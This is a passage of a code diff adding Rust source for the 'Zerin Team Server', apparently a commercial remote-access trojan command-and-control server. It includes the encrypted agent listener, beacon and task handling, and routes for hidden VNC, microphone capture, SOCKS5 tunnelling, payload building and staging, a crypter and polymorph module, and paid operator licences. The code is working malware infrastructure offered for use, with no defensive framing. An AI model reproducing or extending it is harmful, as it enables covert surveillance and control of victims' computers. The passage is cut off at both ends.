+ if version != VERSION { + return Err(format!("unsupported key version: {}", version)); + } + + let key_id = u32::from_le_bytes(payload[1..5].try_into().unwrap()); + let expires_at = u32::from_le_bytes(payload[5..9].try_into().unwrap()) as i64; + + Ok(LicenseKeyData { + version, + key_id: format!("{:08X}", key_id), + created_at: chrono::Utc::now().timestamp(), + expires_at, + }) +} + +/// Sentinel value returned by `parse_duration("lifetime")`. +/// `generate_license_key` recognises this and sets `expires_at = u32::MAX` (~year 2106). +pub const LIFETIME_DURATION: i64 = i64::MAX; + +/// Parse a human-readable duration string like "7d", "24h", "30m", or "lifetime" into seconds. +pub fn parse_duration(s: &str) -> Result { + let s = s.trim(); + if s.is_empty() { + return Err("empty duration string".into()); + } + + if s.eq_ignore_ascii_case("lifetime") { + return Ok(LIFETIME_DURATION); + } + + let (num_str, unit) = s.split_at(s.len() - 1); + let value: i64 = num_str.parse().map_err(|_| format!("invalid number: {}", num_str))?; + + match unit { + "d" => Ok(value * 86400), + "h" => Ok(value * 3600), + "m" => Ok(value * 60), + _ => Err(format!("unknown duration unit '{}', use d/h/m or 'lifetime'", unit)), + } +} diff --git a/src/listeners/https.rs b/src/listeners/https.rs new file mode 100755 index 0000000..57c4996 --- /dev/null +++ b/src/listeners/https.rs @@ -0,0 +1,652 @@ +use axum::{ + body::Bytes, + extract::{ConnectInfo, DefaultBodyLimit, State}, + http::StatusCode, + response::IntoResponse, + routing::{get, post}, + Json, Router, +}; +use hyper_util::rt::TokioIo; +use rustls::{Certificate, PrivateKey}; +use serde::{Deserialize, Serialize}; +use std::io::BufReader; +use std::sync::Arc; +use tokio_rustls::TlsAcceptor; +use tower::Service; +use tracing::{error, info, warn}; + +use crate::config::ServerConfig; +use crate::crypto; +use crate::db::queries; +use crate::events::Event; +use crate::protocol::{ + message_type, CheckIn, Envelope, Task, TaskResponse, TaskResult, +}; +use crate::state::AppState; +use crate::wire; + +/// Simple rate limiter for agent-facing endpoints (key exchange). +/// Tracks (count, window_start) globally. Allows MAX_EXCHANGES per WINDOW_SECS. +static EXCHANGE_RATE: std::sync::OnceLock> = + std::sync::OnceLock::new(); +const MAX_EXCHANGES_PER_WINDOW: u32 = 2000; +const EXCHANGE_WINDOW_SECS: u64 = 60; + +/// Validate that an agent_id looks like a UUID (prevents arbitrary strings as IDs). +fn is_valid_agent_id(id: &str) -> bool { + uuid::Uuid::parse_str(id).is_ok() +} + +/// Build the Axum router for agent-facing HTTPS endpoints. +fn agent_router(state: Arc) -> Router { + let mut router = Router::new() + .route("/api/exchange", post(handle_key_exchange)) + .route("/api/beacon", post(handle_beacon)) + .route("/api/vnc/frame", post(crate::api::vnc::handle_vnc_frame)) + .route("/api/vnc/ws", get(crate::api::vnc::handle_agent_vnc_ws)) + .route("/api/mic/frame", post(crate::api::vnc::handle_mic_frame)) + .route("/api/socks5/ws", get(crate::api::socks5::agent_socks5_ws)); + + // Only register debug routes on the agent listener when ZERIN_DEBUG is set + if std::env::var("ZERIN_DEBUG").map(|v| v == "1").unwrap_or(false) { + router = router + .route("/api/debug/checkin", post(handle_debug_checkin)) + .route("/api/debug/beacon", post(handle_debug_beacon)); + warn!("Debug routes enabled on agent TLS listener — do NOT use in production!"); + } + + router + .layer(DefaultBodyLimit::max(10 * 1024 * 1024)) // 10 MiB (reduced from 50) + .with_state(state) +} + +/// Generate a self-signed TLS certificate if the cert/key files don't exist. +fn generate_self_signed_cert(config: &ServerConfig) -> anyhow::Result<()> { + if config.tls_cert_path.exists() && config.tls_key_path.exists() { + info!( + cert = %config.tls_cert_path.display(), + key = %config.tls_key_path.display(), + "TLS cert/key files found" + ); + return Ok(()); + } + + info!("Generating self-signed TLS certificate"); + + let subject_alt_names = vec![ + config.listener_host.clone(), + "localhost".to_string(), + "127.0.0.1".to_string(), + ]; + + let cert = rcgen::generate_simple_self_signed(subject_alt_names) + .map_err(|e| anyhow::anyhow!("Failed to generate self-signed cert: {}", e))?; + + std::fs::write(&config.tls_cert_path, cert.serialize_pem() + .map_err(|e| anyhow::anyhow!("Failed to serialize cert: {}", e))?)?; + std::fs::write(&config.tls_key_path, cert.serialize_private_key_pem())?; + + info!( + cert = %config.tls_cert_path.display(), + key = %config.tls_key_path.display(), + "Self-signed TLS certificate generated" + ); + + Ok(()) +} + +/// Load TLS certificate and key from PEM files into a rustls ServerConfig. +fn load_rustls_config(config: &ServerConfig) -> anyhow::Result { + let cert_pem = std::fs::read(&config.tls_cert_path)?; + let key_pem = std::fs::read(&config.tls_key_path)?; + + let certs: Vec = rustls_pemfile::certs(&mut BufReader::new(&cert_pem[..]))? + .into_iter() + .map(Certificate) + .collect(); + + let keys = rustls_pemfile::pkcs8_private_keys(&mut BufReader::new(&key_pem[..]))?; + let key = PrivateKey( + keys.into_iter() + .next() + .ok_or_else(|| anyhow::anyhow!("No PKCS8 private key found in PEM file"))?, + ); + + let tls_config = rustls::ServerConfig::builder() + .with_safe_defaults() + .with_no_client_auth() + .with_single_cert(certs, key)?; + + Ok(tls_config) +} + +/// Start the HTTPS listener on the configured address with TLS. +pub async fn start(state: Arc) -> anyhow::Result<()> { + let bind_addr = state.config.listener_bind.clone(); + let app = agent_router(state.clone()); + + info!(bind = %bind_addr, "Starting agent listener (TLS)"); + + // Auto-generate self-signed cert if missing + generate_self_signed_cert(&state.config)?; + + // Load TLS config + let tls_config = load_rustls_config(&state.config)?; + let acceptor = TlsAcceptor::from(Arc::new(tls_config)); + + // Record listener in DB (skip if already exists from a previous run) + let existing = match queries::get_listeners(&state.db).await { + Ok(l) => l, + Err(e) => { + tracing::warn!(error = %e, "Failed to query existing listeners, assuming none"); + Vec::new() + } + }; + if !existing.iter().any(|l| l.name == "default-https") { + let listener_record = queries::ListenerRecord { + listener_id: uuid::Uuid::new_v4().to_string(), + name: "default-https".to_string(), + protocol: "https".to_string(), + bind_address: bind_addr.clone(), + bind_port: bind_addr + .rsplit_once(':') + .and_then(|(_, p)| p.parse().ok()) + .unwrap_or(8443), + active: true, + tls_cert_path: state.config.tls_cert_path.display().to_string(), + tls_key_path: state.config.tls_key_path.display().to_string(), + created_at: chrono::Utc::now().to_rfc3339(), + }; + if let Err(e) = queries::insert_listener(&state.db, &listener_record).await { + warn!("Could not record default listener in DB: {}", e); + } + } + + state.event_bus.emit(Event::new( + "listener_start", + "", + "", + &format!("Agent TLS listener started on {}", bind_addr), + "info", + )); + + let listener = tokio::net::TcpListener::bind(&bind_addr).await?; + info!("Agent TLS listener bound to {}", bind_addr); + + loop { + let (stream, addr) = listener.accept().await?; + let acceptor = acceptor.clone(); + let app = app.clone(); + + tokio::spawn(async move { + let tls_stream = match acceptor.accept(stream).await { + Ok(s) => s, + Err(e) => { + warn!("TLS handshake failed from {}: {}", addr, e); + return; + } + }; + + let io = TokioIo::new(tls_stream); + + let service = hyper::service::service_fn(move |mut req: hyper::Request| { + // Inject ConnectInfo so handlers can extract the client address + req.extensions_mut().insert(ConnectInfo(addr)); + let mut svc = app.clone(); + async move { svc.call(req).await } + }); + + if let Err(e) = hyper::server::conn::http1::Builder::new() + .serve_connection(io, service) + .with_upgrades() + .await + { + if !e.to_string().contains("connection closed") { + warn!("Error serving TLS connection from {}: {}", addr, e); + } + } + }); + } +} + +// ============================================================================ +// POST /api/exchange — X25519 key exchange (C wire format) +// ============================================================================ + +async fn handle_key_exchange( + axum::extract::ConnectInfo(addr): axum::extract::ConnectInfo, + State(state): State>, + body: Bytes, +) -> impl IntoResponse { + let external_ip = addr.ip().to_string(); + // Parse the C wire format: [32:hash][32:ephemeral][12:nonce][4:len][encrypted] + let exchange = match wire::parse_key_exchange(&body) { + Ok(ke) => ke, + Err(e) => { + warn!("Invalid key exchange payload: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + info!( + pubkey_hash_len = exchange.agent_pubkey_hash.len(), + ephem_len = exchange.ephemeral_pubkey.len(), + "Received key exchange request" + ); + + // Perform the ECDH exchange and decrypt the embedded checkin. + let result = match crypto::perform_key_exchange(&state.server_keypair, &exchange) { + Ok(r) => r, + Err(e) => { + error!("Key exchange failed: {}", e); + return StatusCode::INTERNAL_SERVER_ERROR.into_response(); + } + }; + + let agent_id = result.checkin.agent_id.clone(); + + // Validate agent_id format to prevent arbitrary ID injection / session hijacking + if !is_valid_agent_id(&agent_id) { + warn!(agent_id = %agent_id, "Key exchange rejected: invalid agent_id format"); + return StatusCode::BAD_REQUEST.into_response(); + } + + // Rate limit key exchanges to prevent DoS + { + let limiter = EXCHANGE_RATE.get_or_init(|| { + tokio::sync::Mutex::new((0, std::time::Instant::now())) + }); + let mut state_guard = limiter.lock().await; + let elapsed = state_guard.1.elapsed().as_secs(); + if elapsed >= EXCHANGE_WINDOW_SECS { + state_guard.0 = 0; + state_guard.1 = std::time::Instant::now(); + } + if state_guard.0 >= MAX_EXCHANGES_PER_WINDOW { + warn!("Key exchange rate limit exceeded"); + return StatusCode::TOO_MANY_REQUESTS.into_response(); + } + state_guard.0 += 1; + } + + // Resolve agent owner from payload pubkey hash. + let owner = queries::lookup_payload_owner_by_pubkey_hash(&state.db, &exchange.agent_pubkey_hash) + .await + .unwrap_or_default(); + + if owner.is_empty() { + warn!(agent_id = %agent_id, "No payload matched agent pubkey hash — agent will be admin-only"); + } else { + info!(agent_id = %agent_id, owner = %owner, "Agent matched to operator payload"); + } + + // Persist agent in DB. + if let Err(e) = queries::upsert_agent(&state.db, &result.checkin, "default-https", &external_ip, &owner).await { + error!("Failed to upsert agent in DB: {}", e); + } + + // Persist session key in DB. + if let Err(e) = queries::store_session_key(&state.db, &agent_id, &result.session_key).await { + error!("Failed to store session key: {}", e); + } + + // Register agent in the in-memory registry. + state.agents.register_agent( + agent_id.clone(), + result.checkin.clone(), + result.session_key, + "default-https".to_string(), + external_ip, + owner, + ); + + // Emit event. + state.event_bus.emit(Event::new( + "agent_checkin", + &agent_id, + "", + &format!( + "New agent checked in: {} ({}@{}, {})", + agent_id, + result.checkin.username, + result.checkin.hostname, + result.checkin.os_version, + ), + "info", + )); + + info!( + agent_id = %agent_id, + hostname = %result.checkin.hostname, + "Agent registered via key exchange" + ); + + // Return 200 OK — the agent doesn't parse the response body, just checks HTTP status. + StatusCode::OK.into_response() +} + +// ============================================================================ +// POST /api/beacon — Encrypted agent beacon (C wire format) +// ============================================================================ + +async fn handle_beacon( + State(state): State>, + body: Bytes, +) -> impl IntoResponse { + // Parse the C wire format: [str:agent_id][12:nonce][4:len][ciphertext] + let beacon = match wire::parse_beacon(&body) { + Ok(b) => b, + Err(e) => { + warn!("Invalid beacon payload: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + let agent_id = &beacon.agent_id; + + // Look up session key. + let session_key = match state.agents.get_session_key(agent_id) { + Some(k) => k, + None => { + warn!(agent_id = %agent_id, "Beacon from unknown agent (no session key)"); + return StatusCode::UNAUTHORIZED.into_response(); + } + }; + + // Check if agent is banned — silently reject. + if state.agents.is_banned(agent_id) { + warn!(agent_id = %agent_id, "Beacon from banned agent, rejecting"); + return StatusCode::FORBIDDEN.into_response(); + } + + // Decrypt the ciphertext. + let plaintext = match crypto::decrypt(&session_key, &beacon.nonce, &beacon.ciphertext) { + Ok(pt) => pt, + Err(e) => { + warn!(agent_id = %agent_id, "Beacon decryption failed: {}", e); + return StatusCode::UNAUTHORIZED.into_response(); + } + }; + + // Deserialize the inner Envelope (C wire format). + let envelope = match wire::parse_envelope(&plaintext) { + Ok(env) => env, + Err(e) => { + warn!(agent_id = %agent_id, "Failed to deserialize envelope: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + // Touch the agent (update last_seen in memory; DB flush is batched). + state.agents.touch_agent(agent_id); + + // Route based on message type. + match envelope.message_type { + message_type::MSG_TASK_REQUEST => { + handle_task_request(&state, agent_id, &session_key).await + } + message_type::MSG_TASK_RESULT => { + handle_task_results(&state, agent_id, &envelope.payload).await + } + message_type::MSG_HEARTBEAT => { + handle_heartbeat(&state, agent_id, &session_key).await + } + message_type::MSG_EXIT => { + info!(agent_id = %agent_id, "Agent sent exit message"); + state.event_bus.emit(Event::new( + "agent_dead", + agent_id, + "", + &format!("Agent {} exited", agent_id), + "warning", + )); + state.agents.set_agent_status(agent_id, crate::agents::AgentStatus::Dead); + if let Err(e) = queries::update_agent_status(&state.db, agent_id, "dead").await { + error!("Failed to update agent status in DB: {}", e); + } + StatusCode::OK.into_response() + } + other => { + warn!(agent_id = %agent_id, msg_type = other, "Unknown message type"); + StatusCode::BAD_REQUEST.into_response() + } + } +} + +/// Build an encrypted beacon response in C wire format. +fn build_encrypted_response( + session_key: &[u8; 32], + agent_id: &str, + message_type: u32, + seq: u64, + payload: Vec, +) -> Result, String> { + let envelope = Envelope { + message_type, + sequence_number: seq, + agent_id: agent_id.to_string(), + payload, + timestamp: chrono::Utc::now().timestamp(), + }; + let envelope_bytes = wire::serialize_envelope(&envelope); + + let (ciphertext, nonce) = crypto::encrypt(session_key, &envelope_bytes) + .map_err(|e| format!("encrypt failed: {}", e))?; + + Ok(wire::serialize_beacon_response(&nonce, &ciphertext)) +} + +/// Handle MSG_TASK_REQUEST: drain the agent's task queue and return pending tasks. +async fn handle_task_request( + state: &AppState, + agent_id: &str, + session_key: &[u8; 32], +) -> axum::response::Response { + let pending = state.agents.drain_tasks(agent_id); + + // Mark tasks as "sent" in DB. + for task in &pending { + if let Err(e) = queries::update_task_status(&state.db, &task.task_id, "sent").await { + error!("Failed to update task status: {}", e); + } + } + + let task_response = TaskResponse { tasks: pending }; + let payload = wire::serialize_task_response(&task_response); + + let seq = state.agents.next_sequence(agent_id); + match build_encrypted_response(session_key, agent_id, message_type::MSG_TASK_RESPONSE, seq, payload) { + Ok(bytes) => (StatusCode::OK, bytes).into_response(), + Err(e) => { + error!("Failed to build task response: {}", e); + StatusCode::INTERNAL_SERVER_ERROR.into_response() + } + } +} + +/// Handle MSG_TASK_RESULT: store results and broadcast events. +async fn handle_task_results( + state: &AppState, + agent_id: &str, + payload: &[u8], +) -> axum::response::Response { + let batch = match wire::parse_task_result_batch(payload) { + Ok(b) => b, + Err(e) => { + warn!(agent_id = %agent_id, "Failed to deserialize task results: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + info!( + agent_id = %agent_id, + count = batch.results.len(), + "Received task results" + ); + + // Store each result in DB and emit events. + for result in &batch.results { + info!( + task_id = %result.task_id, + data_len = result.data.len(), + output_len = result.output.len(), + "Storing task result (data={} bytes)", + result.data.len() + ); + if let Err(e) = queries::insert_task_result(&state.db, agent_id, result).await { + error!("Failed to store task result: {}", e); + } + } + + crate::tasks::process_results(&state.event_bus, agent_id, batch.results); + + StatusCode::OK.into_response() +} + +/// Handle MSG_HEARTBEAT: respond with a heartbeat ACK. +async fn handle_heartbeat( + state: &AppState, + agent_id: &str, + session_key: &[u8; 32], +) -> axum::response::Response { + let pending_count = state + .agents + .agents + .get(agent_id) + .map(|e| e.task_queue.len() as u32) + .unwrap_or(0); + + let payload = wire::serialize_heartbeat_ack(chrono::Utc::now().timestamp(), pending_count); + let seq = state.agents.next_sequence(agent_id); + + match build_encrypted_response(session_key, agent_id, message_type::MSG_HEARTBEAT_ACK, seq, payload) { + Ok(bytes) => (StatusCode::OK, bytes).into_response(), + Err(e) => { + error!("Failed to build heartbeat response: {}", e); + StatusCode::INTERNAL_SERVER_ERROR.into_response() + } + } +} + +// ============================================================================ +// DEBUG ROUTES — plaintext JSON, no crypto +// ============================================================================ + +/// POST /api/debug/checkin — register an agent via JSON (no encryption). +pub async fn handle_debug_checkin( + State(state): State>, + Json(checkin): Json, +) -> impl IntoResponse { + let agent_id = checkin.agent_id.clone(); + + // Validate agent_id format to prevent arbitrary ID injection. + if !is_valid_agent_id(&agent_id) { + warn!(agent_id = %agent_id, "Debug checkin rejected: invalid agent_id format"); + return StatusCode::BAD_REQUEST.into_response(); + } + // Generate a random session key per debug agent instead of using a + // hardcoded constant — prevents one compromised debug agent from + // decrypting another's traffic. + let mut debug_key = [0u8; 32]; + rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut debug_key); + warn!("Debug mode: using random session key for agent {}", agent_id); + + // Use the default operator as owner so debug agents are visible to operators. + let owner = "zerin".to_string(); + if let Err(e) = queries::upsert_agent(&state.db, &checkin, "debug", "127.0.0.1", &owner).await { + error!("Failed to upsert debug agent: {}", e); + } + if let Err(e) = queries::store_session_key(&state.db, &agent_id, &debug_key).await { + error!("Failed to store debug session key: {}", e); + } + + state.agents.register_agent( + agent_id.clone(), + checkin.clone(), + debug_key, + "debug".to_string(), + "127.0.0.1".to_string(), + owner, + ); + + state.event_bus.emit(Event::new( + "agent_checkin", + &agent_id, + "", + &format!( + "Agent checked in: {} ({}@{}, {})", + agent_id, checkin.username, checkin.hostname, checkin.os_version, + ), + "info", + )); + + info!( + agent_id = %agent_id, + hostname = %checkin.hostname, + username = %checkin.username, + "Debug agent registered" + ); + + StatusCode::OK.into_response() +} + +#[derive(Deserialize)] +pub struct DebugBeaconRequest { + agent_id: String, + #[serde(default)] + results: Vec, +} + +#[derive(Serialize)] +pub struct DebugBeaconResponse { + tasks: Vec, +} + +/// POST /api/debug/beacon — plaintext JSON beacon (no encryption). +pub async fn handle_debug_beacon( + State(state): State>, + Json(req): Json, +) -> impl IntoResponse { + let agent_id = &req.agent_id; + + // Check if agent exists before processing + if state.agents.get_agent_info(agent_id).is_none() { + return (StatusCode::NOT_FOUND, "Agent not registered").into_response(); + } + + // Touch agent (DB flush is batched in background) + state.agents.touch_agent(agent_id); + + // Process any results + if !req.results.is_empty() { + info!(agent_id = %agent_id, count = req.results.len(), "Debug: received task results"); + for result in &req.results { + tracing::debug!( + agent_id = %agent_id, + task_id = %result.task_id, + data_len = result.data.len(), + success = result.success, + "Debug: task result data={} bytes", + result.data.len(), + ); + if let Err(e) = queries::insert_task_result(&state.db, agent_id, result).await { + error!("Failed to store task result: {}", e); + } + } + crate::tasks::process_results(&state.event_bus, agent_id, req.results); + } + + // Drain pending tasks + let pending = state.agents.drain_tasks(agent_id); + for task in &pending { + if let Err(e) = queries::update_task_status(&state.db, &task.task_id, "sent").await { + error!("Failed to update task status: {}", e); + } + } + + if !pending.is_empty() { + info!(agent_id = %agent_id, count = pending.len(), "Debug: sending tasks"); + } + + Json(DebugBeaconResponse { tasks: pending }).into_response() +} diff --git a/src/listeners/mod.rs b/src/listeners/mod.rs new file mode 100755 index 0000000..e24a7be --- /dev/null +++ b/src/listeners/mod.rs @@ -0,0 +1,9 @@ +pub mod https; + +use std::sync::Arc; +use crate::state::AppState; + +/// Start the HTTPS listener for agent communications on the configured address. +pub async fn start_https_listener(state: Arc) -> anyhow::Result<()> { + https::start(state).await +} diff --git a/src/main.rs b/src/main.rs new file mode 100755 index 0000000..5e2d3ca --- /dev/null +++ b/src/main.rs @@ -0,0 +1,490 @@ +mod agents; +mod api; +mod builder; +mod config; +mod crypter; +mod crypto; +mod db; +mod events; +mod license; +mod listeners; +mod payments; +mod polymorph; +mod protocol; +mod socks5; +mod state; +mod tasks; +mod vnc; +mod wire; + +use axum::{ + extract::{DefaultBodyLimit, Request}, + http::{Method, header::HeaderName}, + middleware::{self, Next}, + response::Response, + routing::{delete, get, post}, + Router, +}; +use sqlx::postgres::PgPoolOptions; +use std::sync::Arc; +use tower_http::cors::{AllowOrigin, Any, CorsLayer}; +use tower_http::services::{ServeDir, ServeFile}; +use tracing::{error, info}; +use tracing_subscriber::EnvFilter; + +use api::auth::{DbPool, JwtSecret}; +use config::ServerConfig; +use crypto::ServerKeyPair; +use state::AppState; + +/// Middleware that injects security headers into every response. +async fn security_headers_middleware(req: Request, next: Next) -> Response { + let is_api = req.uri().path().starts_with("/api/"); + let mut response = next.run(req).await; + let headers = response.headers_mut(); + headers.insert( + HeaderName::from_static("x-content-type-options"), + "nosniff".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("x-frame-options"), + "DENY".parse().unwrap(), + ); + // X-XSS-Protection: 0 is the modern recommendation — the legacy filter + // can itself introduce XSS in some browsers. + headers.insert( + HeaderName::from_static("x-xss-protection"), + "0".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("referrer-policy"), + "strict-origin-when-cross-origin".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("strict-transport-security"), + "max-age=31536000; includeSubDomains".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("content-security-policy"), + "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob:; connect-src 'self' wss: ws:; frame-ancestors 'none'".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("permissions-policy"), + "camera=(), microphone=(), geolocation=()".parse().unwrap(), + ); + // Prevent caching of API responses containing sensitive data + if is_api { + headers.insert( + HeaderName::from_static("cache-control"), + "no-store, no-cache, must-revalidate".parse().unwrap(), + ); + headers.insert( + HeaderName::from_static("pragma"), + "no-cache".parse().unwrap(), + ); + } + response +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + // ── CLI: --generate-key ─────────────────────────────────── + let args: Vec = std::env::args().collect(); + if args.len() >= 3 && args[1] == "--generate-key" { + // Use ZERIN_LICENSE_SECRET if set, otherwise derive from JWT secret + let license_secret = if let Ok(v) = std::env::var("ZERIN_LICENSE_SECRET") { + v + } else { + let jwt_secret = std::env::var("ZERIN_JWT_SECRET") + .unwrap_or_else(|_| { + eprintln!("ZERIN_JWT_SECRET or ZERIN_LICENSE_SECRET must be set to generate keys"); + std::process::exit(1); + }); + config::derive_license_secret(&jwt_secret) + }; + let duration_secs = license::parse_duration(&args[2]).unwrap_or_else(|e| { + eprintln!("Invalid duration '{}': {}", args[2], e); + std::process::exit(1); + }); + let key = license::generate_license_key(&license_secret, duration_secs); + println!("{}", key); + return Ok(()); + } + + // ── Logging ────────────────────────────────────────────────────────── + tracing_subscriber::fmt() + .with_env_filter( + EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info")), + ) + .with_target(true) + .with_thread_ids(true) + .init(); + + info!("Zerin Team Server v{}", env!("CARGO_PKG_VERSION")); + + // ── Configuration ──────────────────────────────────────────────────── + let config = ServerConfig::from_env(); + info!( + api_bind = %config.api_bind, + listener_bind = %config.listener_bind, + listener_host = %config.listener_host, + db_url = %config.db_url.split('@').last().unwrap_or("***"), + "Configuration loaded" + ); + + // ── Database ───────────────────────────────────────────────────────── + let pool = PgPoolOptions::new() + .max_connections(50) + .connect(&config.db_url) + .await?; + info!("Connected to PostgreSQL database"); + + db::initialize_database(&pool).await?; + + // ── Bootstrap default operator ─────────────────────────────────────── + // Pre-hash with SHA-256 to match client-side hashing, then Argon2id. + let pre_hash = { + use sha2::{Digest, Sha256}; + let hash = Sha256::digest(config.default_operator_pass.as_bytes()); + hash.iter().map(|b| format!("{:02x}", b)).collect::() + }; + let default_pass_hash = api::routes::hash_password(&pre_hash); + db::queries::create_operator(&pool, &config.default_operator_user, &default_pass_hash, "admin").await?; + info!( + operator = %config.default_operator_user, + "Default operator ensured in database" + ); + + // ── JWT secret enforcement ──────────────────────────────────────────── + // The default is no longer used (config.rs generates a random secret if + // ZERIN_JWT_SECRET is not set). But if someone explicitly sets the env + // var to the old insecure default, refuse to start in non-debug contexts. + if config.jwt_secret == "zerin-default-jwt-secret-change-in-production" { + let is_debug = std::env::var("ZERIN_DEBUG").unwrap_or_default() == "1"; + if !is_debug { + eprintln!("FATAL: JWT secret is set to the insecure default value."); + eprintln!(" Set ZERIN_JWT_SECRET to a secure value, or unset it to auto-generate one."); + std::process::exit(1); + } + tracing::warn!("Using default JWT secret — acceptable only because ZERIN_DEBUG=1"); + } + + // ── Server Key Pair ────────────────────────────────────────────────── + let server_keypair = if config.keys_path.exists() { + let data = std::fs::read(&config.keys_path) + .map_err(|e| anyhow::anyhow!("Failed to read server keys file '{}': {}", config.keys_path.display(), e))?; + if data.len() != 64 { + anyhow::bail!("Server keys file '{}' has invalid size (expected 64 bytes, got {})", config.keys_path.display(), data.len()); + } + let mut buf = [0u8; 64]; + buf.copy_from_slice(&data); + let kp = ServerKeyPair::from_bytes(&buf); + info!(path = %config.keys_path.display(), "Server X25519 key pair loaded from file"); + kp + } else { + let kp = ServerKeyPair::generate(); + std::fs::write(&config.keys_path, kp.to_bytes()) + .map_err(|e| anyhow::anyhow!("Failed to write server keys file '{}': {}", config.keys_path.display(), e))?; + // NOTE: On Windows we cannot easily set Unix-style file permissions + // (e.g. chmod 600). The file is created with default ACLs. + eprintln!("WARNING: {} created — restrict access manually on shared systems", config.keys_path.display()); + info!(path = %config.keys_path.display(), "Server X25519 key pair generated and saved to file"); + kp + }; + + // ── Application State ──────────────────────────────────────────────── + let state = Arc::new(AppState::new(config.clone(), pool, server_keypair)); + + // ── Load agents from DB into memory ─────────────────────────────── + state.agents.load_from_db(&state.db).await; + + // ── Background: Agent Reaper ───────────────────────────────────────── + { + let reaper_state = state.clone(); + let interval_secs = config.reaper_interval_secs; + let stale_mult = config.stale_multiplier; + let dead_mult = config.dead_multiplier; + tokio::spawn(async move { + let mut ticker = + tokio::time::interval(std::time::Duration::from_secs(interval_secs)); + loop { + ticker.tick().await; + reaper_state + .agents + .reap(stale_mult, dead_mult, &reaper_state.event_bus) + .await; + } + }); + info!( + interval_secs = interval_secs, + "Agent reaper task started" + ); + } + + // ── Background: Batched last_seen DB flusher ────────────────────────── + { + let flush_state = state.clone(); + tokio::spawn(async move { + let mut ticker = + tokio::time::interval(std::time::Duration::from_secs(5)); + loop { + ticker.tick().await; + flush_state.agents.flush_last_seen(&flush_state.db).await; + } + }); + info!("Agent last_seen batch flusher started (5s interval)"); + } + + // ── Background: Purge revoked license keys ───────────────────────────── + { + let purge_state = state.clone(); + tokio::spawn(async move { + let mut ticker = tokio::time::interval(std::time::Duration::from_secs(30)); + loop { + ticker.tick().await; + match db::queries::purge_revoked_keys(&purge_state.db, 120).await { + Ok(n) if n > 0 => info!("Purged {} revoked license key(s)", n), + Err(e) => error!("Failed to purge revoked keys: {}", e), + _ => {} + } + } + }); + info!("Revoked key purge task started (120s TTL, 30s check interval)"); + } + + // ── Background: Persist events to DB ───────────────────────────────── + { + let evt_state = state.clone(); + let mut rx = state.event_bus.subscribe(); + tokio::spawn(async move { + loop { + match rx.recv().await { + Ok(event) => { + if let Err(e) = + db::queries::insert_event(&evt_state.db, &event).await + { + error!("Failed to persist event to DB: {}", e); + } + } + Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => { + tracing::warn!("Event DB persister lagged by {} events", n); + } + Err(tokio::sync::broadcast::error::RecvError::Closed) => { + break; + } + } + } + }); + info!("Event DB persistence task started"); + } + + // ── Operator API Router ────────────────────────────────────────────── + let jwt_secret = config.jwt_secret.clone(); + let db_pool = state.db.clone(); + + // Public routes (no auth required). + let public_routes = Router::new() + .route("/api/auth/login", post(api::routes::login)) + .route("/api/auth/register", post(api::routes::register)) + .route("/api/payments/create", post(api::payments::create_payment)) + .route("/api/payments/webhook", post(api::payments::payment_webhook)) + .route("/api/payments/:id/status", get(api::payments::payment_status)) + .route("/api/payloads/:id/stage", get(api::routes::stage_payload)); + + // Debug endpoints are only registered when ZERIN_DEBUG=1. + // They are placed behind the auth middleware so that only authenticated + // operators can use them (prevents unauthenticated abuse). + let debug_enabled = std::env::var("ZERIN_DEBUG").unwrap_or_default() == "1"; + if debug_enabled { + tracing::warn!("Debug endpoints enabled (ZERIN_DEBUG=1) — do NOT use in production!"); + } else { + info!("Debug endpoints disabled (set ZERIN_DEBUG=1 to enable)"); + } + + // Admin routes (JWT + admin role required). + let jwt_secret_admin = config.jwt_secret.clone(); + let db_pool_admin = state.db.clone(); + let admin_routes = Router::new() + .route("/api/admin/keys", get(api::admin::list_keys).post(api::admin::generate_key)) + .route("/api/admin/keys/:id/revoke", post(api::admin::revoke_key)) + .route("/api/admin/operators", get(api::admin::list_operators)) + .route("/api/admin/operators/:id/extend", post(api::admin::extend_operator_license)) + .route("/api/admin/operators/:id/tier", post(api::admin::set_operator_tier)) + .layer(middleware::from_fn(api::auth::admin_middleware)) + .layer(middleware::from_fn(move |mut req: Request, next: Next| { + let secret = jwt_secret_admin.clone(); + let pool = db_pool_admin.clone(); + async move { + req.extensions_mut().insert(JwtSecret(secret)); + req.extensions_mut().insert(DbPool(pool)); + api::auth::auth_middleware(req, next).await + } + })); + + // WebSocket routes (auth happens post-connection, not via middleware). + let ws_routes = Router::new() + .route("/api/ws", get(api::ws::ws_handler)) + .route("/api/vnc/:agent_id/ws", get(api::vnc::vnc_ws_handler)) + .route("/api/mic/:agent_id/ws", get(api::vnc::mic_ws_handler)); + + // Protected routes (JWT required). + let mut protected_routes = Router::new() + .route("/api/auth/logout", post(api::routes::logout)) + .route("/api/agents", get(api::routes::list_agents)) + .route("/api/agents/:id", get(api::routes::get_agent).delete(api::routes::delete_agent)) + .route("/api/agents/:id/ban", post(api::routes::ban_agent)) + .route("/api/agents/:id/unban", post(api::routes::unban_agent)) + .route("/api/agents/:id/tasks", get(api::routes::get_agent_tasks).post(api::routes::create_task)) + .route("/api/agents/:id/tags", get(api::routes::get_agent_tags).put(api::routes::set_agent_tags)) + .route("/api/events", get(api::routes::get_events)) + .route("/api/listeners", get(api::routes::list_listeners).post(api::routes::create_listener)) + .route("/api/payloads", get(api::routes::list_payloads).post(api::routes::build_payload)) + .route("/api/payloads/:id/download", get(api::routes::download_payload)) + .route("/api/payloads/:id", delete(api::routes::delete_payload)) + .route("/api/agents/:id/vnc/start", post(api::vnc::start_vnc)) + .route("/api/agents/:id/vnc/stop", post(api::vnc::stop_vnc)) + .route("/api/agents/:id/hvnc/start", post(api::vnc::start_hvnc)) + .route("/api/agents/:id/hvnc/stop", 